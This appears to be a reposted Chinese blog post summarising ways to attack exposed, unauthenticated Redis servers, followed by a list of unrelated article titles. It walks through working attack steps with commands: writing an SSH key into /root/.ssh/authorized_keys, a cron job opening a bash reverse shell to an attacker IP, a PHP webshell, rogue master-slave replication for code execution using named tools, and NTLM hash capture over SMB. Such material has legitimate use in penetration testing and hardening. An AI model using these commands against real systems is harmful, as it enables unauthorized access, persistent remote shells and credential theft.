当前位置: 首页 > news >正文

Redis渗透思路总结

Redis 是一个开源的内存数据结构存储系统,广泛应用于数据库、缓存和消息代理。然而,Redis 部署中的配置错误和缺乏身份验证可能导致严重的安全风险。


Redis 安全风险简介

Redis 以其快速和轻量级的特性而闻名,但默认配置和不当设置可能使其成为攻击者的目标。常见的安全问题包括:

  • 未启用身份验证:Redis 默认不要求密码,攻击者可直接连接。
  • 对外网开放:Redis 默认绑定到 0.0.0.0,允许远程访问。
  • 权限过高:Redis 服务以高权限用户(如 root)运行,攻击者可执行系统级操作。
  • 数据持久化问题:Redis 的持久化机制可能被利用写入恶意文件。
  • 主从复制漏洞:高版本 Redis 的主从复制机制可能被用于远程代码执行(RCE)。

本文将从手动利用和自动化利用两个方面,详细介绍 Redis 渗透测试的思路和方法。


一、手动利用 Redis 漏洞

手动利用 Redis 漏洞需要深入了解 Redis 的配置和命令。以下是几种常见的攻击方法,逐步讲解其原理和操作步骤。

1. 写入 SSH 公钥(开放 SSH 访问)

原理
Redis 的 CONFIG SET 命令允许修改数据库的存储目录和文件名。如果 Redis 以高权限运行,攻击者可以将 SSH 公钥写入目标服务器的 /root/.ssh/authorized_keys 文件,从而获得 SSH 远程访问权限。

步骤

  1. 连接 Redis
    使用 redis-cli 连接目标 Redis 服务器,假设目标 IP 为 172.19.0.2,端口为 6379

    redis-cli -h 172.19.0.2 -p 6379
    

    如果 Redis 未设置密码,可直接进入命令行界面。

  2. 检查权限
    使用 INFO 命令查看 Redis 的运行用户和权限:

    INFO SERVER
    

    如果 Redis 以 root 权限运行,则可以尝试写入系统文件。

  3. 设置存储目录和文件名
    将 Redis 的持久化目录设置为 /root/.ssh/,文件名设置为 authorized_keys

    CONFIG SET dir /root/.ssh/
    CONFIG SET dbfilename authorized_keys
    
  4. 写入 SSH 公钥
    先生成本地 SSH 公钥(假设已生成,位于 ~/.ssh/id_rsa.pub),将其内容写入 Redis:

    SET ssh_key "ssh-rsa AAAAB3NzaC1yc2E... your_public_key"
    SAVE
    

    SAVE 命令会将数据持久化到 /root/.ssh/authorized_keys

  5. 验证 SSH 访问
    使用对应的私钥尝试 SSH 登录目标服务器:

    ssh -i ~/.ssh/id_rsa root@172.19.0.2
    

    如果成功,将获得目标服务器的 root 权限。

注意事项

  • 目标服务器必须启用 SSH 服务,且 Redis 需以高权限运行。
  • 如果目录 /root/.ssh/ 不存在,需确认 Redis 是否有权限创建目录。

2. 写入计划任务(Cron 定时任务)

原理
Linux 系统的计划任务(Cron)允许定期执行脚本。如果 Redis 可以写入 Cron 配置文件(如 /etc/crontab),攻击者可添加恶意任务,执行反弹 Shell 或其他恶意命令。

步骤

  1. 连接 Redis
    同上,使用 redis-cli 连接目标 Redis。

  2. 设置存储目录和文件名
    将存储目录设置为 Cron 配置文件目录(如 /etc/),文件名设置为 crontab

    CONFIG SET dir /etc/
    CONFIG SET dbfilename crontab
    
  3. 写入恶意 Cron 任务
    构造一个反弹 Shell 的 Cron 任务,例如每分钟连接攻击者的监听端口:

    SET cron "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/172.19.0.3/4444 0>&1'"
    SAVE
    
  4. 启动监听
    在攻击者机器(假设 IP 为 172.19.0.3)上使用 netcat 监听:

    nc -lvnp 4444
    
  5. 等待反弹 Shell
    Cron 任务每分钟执行一次,成功后攻击者将收到目标服务器的 Shell。

注意事项

  • 需确认目标系统是否启用了 Cron 服务。
  • 写入的 Cron 任务需符合正确的格式,避免语法错误。

3. 写入 Webshell

原理
如果目标服务器运行 Web 服务,攻击者可通过 Redis 将恶意脚本(如 PHP Webshell)写入 Web 根目录,获得 Web 层面的远程代码执行能力。

步骤

  1. 确认 Web 根目录
    假设 Web 根目录为 /var/www/html/,可通过 CONFIG GET dir 确认 Redis 是否有权限写入该目录。

  2. 设置存储目录和文件名

    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
    
  3. 写入 Webshell
    写入一个简单的 PHP Webshell:

    SET webshell "<?php system($_GET['cmd']); ?>"
    SAVE
    
  4. 访问 Webshell
    通过浏览器或 curl 访问 http://172.19.0.2/shell.php?cmd=whoami,执行任意命令。

注意事项

  • 需确认目标服务器的 Web 根目录和文件权限。
  • Webshell 的内容需根据目标 Web 服务器支持的语言(如 PHP、ASP)调整。

4. 主从复制 RCE(高版本 Redis)

原理
Redis 的主从复制功能允许从节点同步主节点的数据。攻击者可伪装为主节点,通过主从复制协议向目标 Redis 从节点推送恶意模块,从而能够执行命令。Redis 5.0 及以上版本支持模块加载,这使得 RCE 成为可能。

步骤

  1. 搭建恶意主节点
    使用工具如 redis-rogue-server(后文详述)或手动搭建 Redis 主节点。

  2. 设置目标为从节点
    连接目标 Redis,设置为攻击者控制的主节点的从节点:

    SLAVEOF 172.19.0.3 15000
    
  3. 加载恶意模块
    攻击者的主节点推送恶意模块(如 exp.so),目标 Redis 加载后执行代码。

注意事项

  • 需确保目标 Redis 版本支持模块加载。
  • 网络需允许目标服务器与攻击者服务器通信。

5. NTLM Hash 泄露(结合 SMB 攻击)

原理
如果目标服务器运行 Windows 系统,攻击者可利用 Redis 写入恶意文件,诱导系统访问攻击者的 SMB 服务器,从而捕获 NTLM Hash,用于后续破解或传递攻击(Pass-the-Hash)。

步骤

  1. 搭建 SMB 服务器
    在攻击者机器上运行 impacket-smbserver

    python3 smbserver.py SHARE /tmp
    
  2. 写入恶意文件
    使用 Redis 将 UNC 路径写入目标系统的关键文件,诱导访问:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename test.txt
    SET smb "\\172.19.0.3\SHARE\test"
    SAVE
    
  3. 捕获 NTLM Hash
    当目标系统尝试访问 SMB 路径时,攻击者的 SMB 服务器捕获 NTLM Hash。

  4. 破解或利用 Hash
    使用工具如 hashcat 破解 Hash,或通过 impacket 进行 Pass-the-Hash 攻击。

注意事项

  • 适用于 Windows 环境,需确认目标系统是否会自动访问 UNC 路径。
  • 需确保网络连通性。

二、半自动利用:Redis Rogue Server

工具
Awesome-Redis-Rogue-Server

原理
通过伪装 Redis 主节点,利用主从复制协议加载恶意模块(如 exp.so),实现 RCE。

步骤

  1. 准备环境

    • 攻击者机器:172.19.0.3
    • 目标 Redis:172.19.0.2:6379
    • 下载并准备恶意模块 exp.so
  2. 运行 Rogue Server
    在攻击者机器上运行工具:

    python3 redis-rogue-server.py -v -path module.so
    
  3. 配置目标 Redis
    连接目标 Redis,设置存储目录和文件名:

    CONFIG SET dir /tmp
    CONFIG SET dbfilename exp.so
    SLAVEOF 172.19.0.3 15000
    
  4. 触发 RCE
    Rogue Server 将推送 exp.so 到目标 Redis,加载后执行恶意代码。

注意事项

  • 确保模块文件与目标 Redis 版本兼容。
  • 网络防火墙需允许主从复制流量。

三、主从复制自动化利用

准备环境

  • 攻击者机器:172.19.0.3
  • 目标 Redis:172.19.0.2:6379

redis-rogue-server

工具地址
https://github.com/n0b0dyCN/redis-rogue-server

运行工具
在攻击者机器上执行以下命令,指定本地监听 IP 和目标 Redis IP:

python3 redis-rogue-server.py --lhost 172.19.0.3 --rhost 172.19.0.2

redis-rce

工具地址
https://github.com/Ridter/redis-rce

运行工具
执行以下命令,指定目标 Redis IP 和本地监听 IP:

python redis-rce.py -r 172.19.0.2 -L 172.19.0.3

注意事项

  • 需确保攻击者和目标机器网络双向连通。
  • 工具可能因 Redis 版本或配置不同而失败,需结合手动方法排查。
http://www.lryc.cn/news/586026.html

相关文章:

  • Python 三大高频标准库实战指南——json · datetime · random 深度解析
  • FastGPT革命:下一代语言模型的极速进化
  • 淘宝商品评论API接口操作详解
  • MCP选型指南:AWS vs Azure vs GCP vs 国内云厂商深度对比
  • 基于 Python 的数据分析技术综述
  • 自动化运维工具jenkins问题
  • 集成语音感知与云平台的多任务智能楼宇控制系统
  • 详解缓存淘汰策略:LRU
  • Go语言生态成熟度分析:为何Go还无法像Java那样实现注解式框架?
  • Markdown语法的基础学习
  • 管理端口: 一个简单的锤子架子
  • Linux->基础IO
  • 【深度学习】 1 Deep Learning
  • 【Elasticsearch】昂贵算法与廉价算法
  • 四、深度学习——CNN
  • 【SpringAI】7. 基于 milvus 的向量检索
  • Pandas-数据查看与质量检查
  • 华为 GaussDB :技术特性、应用局限与市场争议
  • TensorFlow2 study notes[2]
  • 【嵌入式硬件实例】-555定时器实现倍压电路
  • 【408考研知识点全面讲解计算机学科专业基础综合(408)】——数据结构之排序
  • 依赖注入的逻辑基于Java语言
  • 【第五节】部署http接口到ubuntu server上的docker内
  • Eplan API Scripts
  • Transforms
  • Spring Boot 整合 OAuth2 详细教程(适用于 2025 年 Spring Boot 3.x)
  • 力扣-19. 删除链表的倒数第N个节点
  • 什么是 Bootloader?怎么把它移植到 STM32 上?
  • 【6.1.3 漫画分布式锁】
  • 线程属性设置全攻略